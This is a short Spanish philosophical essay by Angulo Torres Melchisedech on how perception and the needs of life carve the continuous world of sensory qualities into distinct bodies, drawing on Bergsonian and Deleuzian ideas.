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Textos sociales y otros escritos

 

Por: Angulo Torres Melchisedech

Las divisiones corporales de la materia son relativas

Un sistema de cualidades se nos presenta como material objetivo, algunas cualidades niegan a otras. En el tiempo se manifiesta el oído y la voz, mientras que en el espacio el tacto y la vista. Pero en ambos casos la continuidad es su esencial característica. El oído no siempre se ve ocupado, lo que da paso al silencio y hace posible decir que quizá el silencio sea el sonido más fuerte que existe. Hay vacíos e intervalos también entre los sabores y las fragancias y ello hace parecer que funcionan por accidente. Al contrario, desde que un bebé abre los ojos (no por primera vez) su plano visual se ilumina totalmente, y ya que los ruidos son sucesivos y simultáneos, a la superficie le sigue el tacto sin que haya verdadera interrupción.

La continuidad la fragmentamos. No cambia, de un momento a otro la cambiamos. Se busca el carril de la movilización dentro del conjunto de movilizaciones. Donde todo permanece y cambia la vez no es dada una moviente continuidad. Representamos el cambio a través del tiempo en el movimiento, y los cuerpos a través de la permanencia; disociamos el cambio y la permanencia. Ni ciencias exigentes ni inmediata intuición. Ya que en un universo hemos recortado naturales articulaciones artificialmente. Demostramos la reciprocidad de acción en todas las materialidades y puntos, a pesar de las apariencias las ciencias conducen las universales continuidades de la idea. La mente y las ciencias son amigas, llegan a acuerdos, siempre y cuando se considere a las ciencias en sus más superiores aspiraciones y a la mente en lo inmediato de su información. Hay, pues una tendencia irresistible a constituir un material universo discontinuo.

En medio de las ciencias y de la mente está la vida. La acción conferida a las mentes individuales exige ya las materiales zonas de formación que corresponden respectivamente a cuerpos llenos y cuerpos sin órganos. De ahí la comparación entre quién está mejor dotado para diferenciar en el universo de la continuidad. La experimentación conlleva la constitución de otros cuerpos, de devenir- otro. La nutrición es la más humilde entre los seres vivientes, sin embargo, exige una búsqueda y después un contacto, al final una serie de fuerzas.

Un centro es generado por una serie de esfuerzos cuyo devenir es justamente el independiente objeto que tiene que servir de alimento. La vida establecerá en la materia una primera discontinuidad que se explica en la satisfacción y en la interpretación. Pero la interpretación en la alimentación no es la única que hay. A su alrededor se organizan muchas otras, cuyo objetivo es la conservación del individuo y de la especie. Somos llevados a distinguir por cada una de ellas, alrededor del propio cuerpo de uno, otros cuerpos, independientes de él. Que tenemos que encontrar o de los cuales tenemos que huir.

Nuestras interpretaciones son como luces incandescentes que, posicionados en el ser de la continuidad de la sensibilidad de las cualidades, pintan en ella cuerpos distintos. No pueden saciarse más que en la medida en que tallan una continuidad en ese cuerpo, luego trazan una frontera con otros cuerpos con los cuales se observa cierta relación entre personas. A lo que llamamos vivir es precisamente el establecimiento de esas relaciones tan particulares recortadas de la sensibilidad. MD

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